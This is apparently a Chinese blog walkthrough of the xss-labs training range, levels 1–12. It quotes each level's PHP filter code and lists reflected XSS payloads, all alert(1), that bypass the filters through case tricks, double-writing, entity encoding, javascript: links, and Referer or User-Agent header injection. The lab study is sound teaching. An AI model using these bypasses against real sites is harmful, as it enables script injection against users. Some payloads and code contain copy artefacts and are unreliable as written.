xss-maps(1-12)尝试思路过关加源码分析

xss-maps下载在网上都有然后加上小皮搭建一下就行

1.

首先看http://xss-labs:8001/level1.php?name=test

发现欢迎用户test跟后面赋值name的值是一样的

然后我们就可考虑在上面尝试xss语句

如何判断是否存在xss漏洞,这个要多去观察网站的有用数据,尝试多种方法,来看是否会出现弹窗效果

复制代码
<script>alert(1)</script>就可以过关

这里还是用两个test字眼跟网站上面的test字眼是一样的,那么修改一下test这个值看看是否会变化,变化的是上面还是下面的test字眼

发现两个都会变化,然后f12看看内容

发现这个input里面是包含了我的lllxxy的,那么就考虑一下闭合这个input语句然后再来添加弹框语句

3.

在页面中没有发现有关wait字眼的东西,还是尝试修改一下wait值然后再去检查一下元素吧

http://xss-labs:8001/level3.php?writing=1

然后点击搜索尝试发现:

尝试上面第二关的方法:

http://xss-labs:8001/level3.php?keyword=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

也没变化f12查看一下尝试看看哪里出现了问题:

发现还是没用查看一下这关的源代码:

str = _GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>

发现这里的.htmlspecialchars($str).

然后尝试其他的方法,不带有上面的符号也能进行弹窗的方法

尝试鼠标点击的方法然后进行弹窗这个方法:

基本的鼠标事件Payload

点击事件 (onclick)

复制代码
" οnclick="alert(1)"
' οnclick='alert(1)'

鼠标悬停事件 (onmouseover)

复制代码
" οnmοuseοver="alert(1)"
' οnmοuseοver='alert(1)'

鼠标移动事件 (onmousemove)

复制代码
" οnmοusemοve="alert(1)"

尝试:http://xss-labs:8001/level3.php?keyword=%22οnclick=%22alert(1)

因为:<input name=keyword value='".htmlspecialchars($str)."'>

所以再尝试:

http://xss-labs:8001/level3.php?keyword=%27οnclick=%27alert(1)

修改keyword的值

尝试闭合和" οnclick="alert(1)"

http://xss-labs:8001/level4.php?keyword=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

<input name="keyword" value="

发现下面的等号都没有了

那么再去尝试http://xss-labs:8001/level4.php?keyword=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

改成:" οnclick="alert(1)"

http://xss-labs:8001/level4.php?keyword=%22%3E%20οnclick=%22alert(1)%22

根据上面的思路

"><script>alert(1)</script>

">οnclick="alert(1)"

尝试:

变成了<scr_ipt>alert(1)</script>

发现on变成了o_n那么就要考虑其他的思路,不能用上面的方法

尝试超链接方式点击后跳转那么这个也能实现这个靶场的目的:

基本的超链接Payload

在输入框内插入可点击链接:

复制代码
http://xss-labs:8001/level3.php?keyword='><a href='#' οnclick='alert(1)'>点击我</a><'
复制代码
<input value=''><a href='#' οnclick='alert(1)'>点击我</a><''>

带样式的链接(更显眼):

复制代码
http://xss-labs:8001/level3.php?keyword='><a href='javascript:alert(1)' style='color:red;font-size:20px'>★点击这里★</a><'

2. 使用javascript:伪协议

直接跳转执行:

复制代码
http://xss-labs:8001/level3.php?keyword='><a href='javascript:alert(1)'>点击执行</a><'

多语句执行:

复制代码
http://xss-labs:8001/level3.php?keyword='><a href='javascript:alert(1);alert(2)'>点击我</a><'

1.先来尝试简单的

复制代码
"><a href='#' οnclick='alert(1)'>lllxxy  先闭合然后加上超链接

这个是不行的

2.伪协议

"><a href='javascript:alert(1)'>lllxxy先闭合然后加上超链接

http://xss-labs:8001/level5.php?keyword=%22%3E%3Ca%20href=javascript:alert(1)%3Elllxxy

根据上面的思路

"><script>alert(1)</script>

变成value="<scr_ipt>alert(1)</script>"

">οnclick="alert(1)":value="o_nclick="

"><a href='#' οnclick='alert(1)'>lllxxy 先闭合然后加上超链接

"><a href='javascript:alert(1)'>lllxxy先闭合然后加上超链接

变成:value="<a hr_ef='javascript:alert(1)'>"

尝试大小写双写思路发现可以

然后检查一下源代码:

str = _GET["keyword"];

str2=str_replace("\str);

str3=str_replace("on","o_n",str2);

str4=str_replace("src","sr_c",str3);

str5=str_replace("data","da_ta",str4);

str6=str_replace("href","hr_ef",str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

直接尝试大小写就行了:

http://xss-labs:8001/level6.php?keyword=%22%3E%3Ca%20Href=javascript:alert(1)%3Elllxxy

"><script>alert(1)</script>

">οnclick="alert(1)"

"><a href='javascript:alert(1)'>lllxxy

尝试上面的方式:

尝试对其闭合,发现这次大小写也被过滤掉,以及script,on,href都被过滤掉,但是我们通过这三个案例中value后的变化,发现这里过滤的方法是替换为空字符,这是黑名单常用做法,所以我们使用双写绕过试试:

http://xss-labs:8001/level7.php?keyword=%3Csscriptcript%3Ealert(1)%3C/sscriptcript%3E

附上源代码

查看源代码:

ini_set("display_errors", 0);

str =strtolower( _GET["keyword"]);

str2=str_replace("script","",str);

str3=str_replace("on","",str2);

str4=str_replace("src","",str3);

str5=str_replace("data","",str4);

str6=str_replace("href","",str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center

还是尝试上面的代码看看有什么变化:

"><script>alert(1)</script>:value="&quot;><script>alert(1)</script>"

">οnclick="alert(1)":value="&quot;>οnclick=&quot;alert(1)&quot;"

"><a href='javascript:alert(1)'>lllxxy:value="&quot;><a href='javascript:alert(1)'>lllxxy"

htmlspecialchars()函数把预定义的字符转换为 HTML 实体

但是发现这里有个友情连接:

<a href="&quot;><a hr_ef='javascr_ipt:alert(1)'>lllxxy">友情链接</a>

发现我点友情连接的时候跳转的是

那么应该就是在这个超链接里面想办法了

检查源代码:

<?php

ini_set("display_errors", 0);

str = strtolower(_GET["keyword"]);

str2=str_replace("script","scr_ipt",str);

str3=str_replace("on","o_n",str2);

str4=str_replace("src","sr_c",str3);

str5=str_replace("data","da_ta",str4);

str6=str_replace("href","hr_ef",str5);

str7=str_replace('"','\"',str6);

echo '<center>

<form action=level8.php method=GET>

<input name=keyword value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />

</form>

</center>';

?>

<?php

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

?>

考虑html编码:

http://xss-labs:8001/level8.php?keyword=%22javascript:alert(1)%22:alert(1)

<a href="&amp;quotjavascr_ipt:alert(1)&quot;:alert(1)">友情链接</a>

尝试把R这个字母html编码:&#114

http://xss-labs:8001/level8.php?keyword=javasc&#114ipt:alert(1)

变成了<a href="javasc">友情链接</a>

&#114ipt:alert(1)这个都没有显示,这是因为 &#114 被浏览器识别为HTML实体编码的开始,但后面没有分号 ;,导致解析错误。

所以尝试javasc%26%23114;ipt:alert(1)

也可以将这整个来进行html编码:

%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B

这里发现:<a href="您的链接不合法?有没有!">友情链接</a>

用了一下"><script>alert(1)</script>发现还是被**htmlspecialchars()**函数进行处理过了

这个http://xss-labs:8001/level9.php?keyword=http://baidu.com

发现就可以正确的跳转

但是原文:http://xss-labs:8001/level9.php?keyword=not%20bad!

未找到

在此服务器上找不到请求的URL。

此外,404未找到 尝试使用ErrorDocument处理请求时遇到错误。

看一下源代码:

<?php
if(false===strpos($str7,'c'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}

添加:http://

方法也可以和上面同理:

javasc%26%23114;ipt:alert(1)//http://

%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B//http://

//http://这里前面添加是为了注释语句

为什么必须包含但又要忽略 http://

1. 满足后端检测(给PHP看)

复制代码
if(false===strpos($str7,'http://')) { 显示不合法 }
  • PHP需要看到 http:// 这个字符串

  • 如果没有,直接拒绝,你的Payload根本不会被输出到页面上

2. 避免实际导航(给浏览器看)

如果浏览器真的访问 http:// 链接:

复制代码
<a href="http://example.com">点击会跳转到外部网站</a>

但我们想要的是执行JavaScript,而不是跳转到真实网站。

这里就是可能隐藏了数据

然后尝试传三个参数:

​​​​​​http://xss-labs:8001/level10.php?keyword=lllllllllll&t_link=xxxxxxx&t_history=yyyyyyyy&t_sort=66666666666

<input name="t_sort" value="66666666666" type="hidden">

发现"t_sort" value="66666666666"出现了6666666666

我们对tsort进行常规的闭合注入&t_sort="><script>alert(1)</script>

变成:<input name="t_sort" value="" scriptalert(1)="" script"="" type="hidden">

尖括号被注释掉了

&t_sort="οnfοcus=javascript:alert(1)%20

<input name="t_sort" value="" οnfοcus="javascript:alert(1)&quot;" type="hidden">

双引号被编码为&quot;,破坏了注入

f12修改或者是添加输入框然后来点击跳转

f12修改:

http://xss-labs:8001/level10.php?keyword=111111&t_sort=%22%20οnclick=alert(1)%20%22

也可以加上autofocus这个更容易聚焦

<input name="t_sort" value="" οnclick="alert(1)" ""="" type="text">

|---------------------------------------|--------------------------------------------------------------------------------------------------------------------------------|
| <h1 align=center>欢迎来到level11</h1> |
| | <h2 align=center>没有找到和good job!相关的结果.</h2><center> |
| | <form id=search> |
| | <input name="t_link" value="" type="hidden"> |
| | <input name="t_history" value="" type="hidden"> |
| | <input name="t_sort" value="" type="hidden"> |
| | <input name="t_ref" value="http://xss-labs:8001/level10.php?keyword=111111\&t_sort=" οnclick=alert(1) " type="hidden"> |
| | </form> |
| | </center><center><img src=level11.png></center> |
| | <h3 align=center>payload的长度:9</h3></body> |
| | </html> |

<input name="t_ref" value="http://xss-labs:8001/level10.php?keyword=111111\&t_sort=" οnclick=alert(1) " type="hidden">这个是上个地址

源代码:

$_SERVER['HTTP_REFERE'] 获取当前链接的上一个连接的来源地址,即链接到当前页面的前一页面的 URL 地址,可以做到防盗链作用.

攻击原理

正常情况

  • 浏览器访问页面时自动发送Referer头

  • Referer包含上一个页面的URL

  • 服务器接收并输出到页面中

攻击场景

复制代码
Referer: " οnclick=alert(1) 

生成的HTML:

复制代码
<input name="t_ref" value="" οnclick=alert(1) ">

为什么Referer可以被利用

1. 用户可控

虽然浏览器自动发送Referer,但攻击者可以通过工具修改这个值:

  • Burp Suite

  • HackBar

  • 浏览器扩展

  • curl命令

2. 缺乏过滤

很多开发者认为Referer是浏览器自动生成的,不需要过滤,但实际上:

复制代码
// 错误做法 - 没有过滤
echo '<input value="' . $_SERVER['HTTP_REFERER'] . '">';

// 正确做法 - 应该过滤
echo '<input value="' . htmlspecialchars($_SERVER['HTTP_REFERER']) . '">';

两种解题方法

方法1:使用HackBar

  1. 打开HackBar插件

  2. 在Referer字段中输入:" onclick=alert(1)

  3. 访问第11关页面

方法2:使用Burp Suite

  1. 拦截请求

  2. 修改Referer头:" onclick=alert(1)

  3. 转发请求

|--------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <form id=search> |
| | <input name="t_link" value="" type="hidden"> |
| | <input name="t_history" value="" type="hidden"> |
| | <input name="t_sort" value="" type="hidden"> |
| | <input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 QuarkPC/4.6.5.580" type="hidden"> |
| | </form> |
| | </center><center><img src=level12.png></center> |

跟11题目同理只不过是修改<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 QuarkPC/4.6.5.580" type="hidden">这个

只是把referer换成useragent选项即可成功解题

" οnclick="alert(1)

<input name="t_ua" value="" οnclick="alert(1)" type="text">

" οnfοcus="alert(1)" autofocus="

<input name="t_ua" value="" οnfοcus="alert(1)" autofocus="" type="text">

就能解决问题

相关推荐
q***766627 分钟前
SpringSecurity 实现token 认证
android·前端·后端
小璞31 分钟前
一、React Fiber 架构与任务调度详解
前端·react.js·前端框架
小璞31 分钟前
四、虚拟 DOM 与 Diff 算法:架构设计的智慧
前端·react.js·前端框架
南蓝32 分钟前
【AI 日记】调用大模型的时候如何按照 sse 格式输出
前端·人工智能
一树论34 分钟前
浏览器插件开发经验分享二:如何处理日期控件
前端·javascript
小璞35 分钟前
六、React 并发模式:让应用"感觉"更快的架构智慧
前端·react.js·架构
Yanni4Night36 分钟前
LogTape:零依赖的现代JavaScript日志解决方案
前端·javascript
疯狂踩坑人36 分钟前
Node写MCP入门教程
前端·agent·mcp
重铸码农荣光36 分钟前
一文吃透 ES6 Symbol:JavaScript 里的「独一无二」标识符
前端·javascript